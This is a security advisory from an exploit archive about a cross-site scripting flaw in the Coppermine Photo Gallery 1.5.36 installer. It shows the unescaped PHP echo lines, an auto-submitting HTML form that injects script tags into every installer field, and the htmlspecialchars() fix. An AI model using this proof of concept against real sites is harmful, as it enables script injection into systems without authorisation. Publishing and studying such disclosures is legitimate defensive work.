exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Coppermine Photo Gallery 1.5.36 Cross Site Scripting

Coppermine Photo Gallery 1.5.36 Cross Site Scripting
Posted Aug 12, 2015
Authored by Ehsan Hosseini

Coppermine Photo Gallery version 1.5.36 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 54a48675fed618344a21a3a602ef9a002f64e968254114fa766dc30ccc060d72

Coppermine Photo Gallery 1.5.36 Cross Site Scripting

Change Mirror Download
[+] Exploit Title: Coppermine Photo Gallery 1.5.36 Cross Site Scripting
[+] Exploit Author: Ehsan Hosseini
[+] Date: 27/7/2015
[+] Vendor Homepage: http://coppermine-gallery.net/
[+] Software Link:
http://sourceforge.net/projects/coppermine/files/Coppermine/1.5.x/cpg1.5.36.zip/download
[+] Version: 1.5.36
[+] Tested on: Windows
[+] CVE : N/A

===============================
Introduction :
Coppermine Photo Gallery is a multi-purpose fully-featured and
integrated web picture gallery script written in PHP.
Coppermine Photo Gallery suffers from a Cross site scripting vulnerability.
===============================
Vulnerable file is :
localhost/cpg15x/install_classic.php
===============================
Vulnerable Code :
316 : <input type="text" class="textinput" name="admin_username"
value="<?php echo $_POST['admin_username'] ?>" />
323 : <input type="text" class="textinput" name="admin_password"
value="<?php echo $_POST['admin_password'] ?>" />
313 : <input type="text" class="textinput" name="admin_email"
value="<?php echo $_POST['admin_email'] ?>" />
345 : <input type="text" class="textinput" name="dbserver"
value="<?php echo ($_POST['dbserver'] ? $_POST['dbserver'] :
'localhost') ?>" />
352 : <input type="text" class="textinput" name="dbname" value="<?php
echo $_POST['dbname'] ?>" />
359 : <input type="text" class="textinput" name="dbuser" value="<?php
echo $_POST['dbuser'] ?>" />
366 : <input type="text" class="textinput" name="dbpass" value="<?php
echo $_POST['dbpass'] ?>" />
373 : <input type="text" class="textinput" name="table_prefix"
value="<?php echo ($_POST['table_prefix'] ? $_POST['table_prefix'] :
'cpg15x_') ?>" />
390 : <input type="text" class="textinput" name="impath" value="<?php
echo $_POST['impath'] ?>" />
===============================
Exploit :
<body onload='document.exploit.submit()'>
<form name='exploit'
action='http://localhost/cpg15x//install_classic.php' method='POST'>
<input type='hidden' name='admin_username'
value='"><script>alert(/EXPLOITED/)</script>'>
<input type='hidden' name='admin_password'
value='"><script>alert(/EXPLOITED/)</script>'>
<input type='hidden' name='admin_email'
value='"><script>alert(/EXPLOITED/)</script>'>
<input type='hidden' name='dbserver'
value='"><script>alert(/EXPLOITED/)</script>'>
<input type='hidden' name='dbname'
value='"><script>alert(/EXPLOITED/)</script>'>
<input type='hidden' name='dbuser'
value='"><script>alert(/EXPLOITED/)</script>'>
<input type='hidden' name='dbpass'
value='"><script>alert(/EXPLOITED/)</script>'>
<input type='hidden' name='table_prefix'
value='"><script>alert(/EXPLOITED/)</script>'>
<input type='hidden' name='impath'
value='"><script>alert(/EXPLOITED/)</script>'>
</form>
==================================================
Path :
To fix this vulnerability you use htmlspecialchars() function .
<input type="text" class="textinput" name="admin_username"
value="<?php echo htmlspecialchars($_POST['admin_username']) ?>" />
And other lines, too.

Discovered By : Ehsan Hosseini.
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    25 Files
  • 16
    Aug 16th
    3 Files
  • 17
    Aug 17th
    6 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close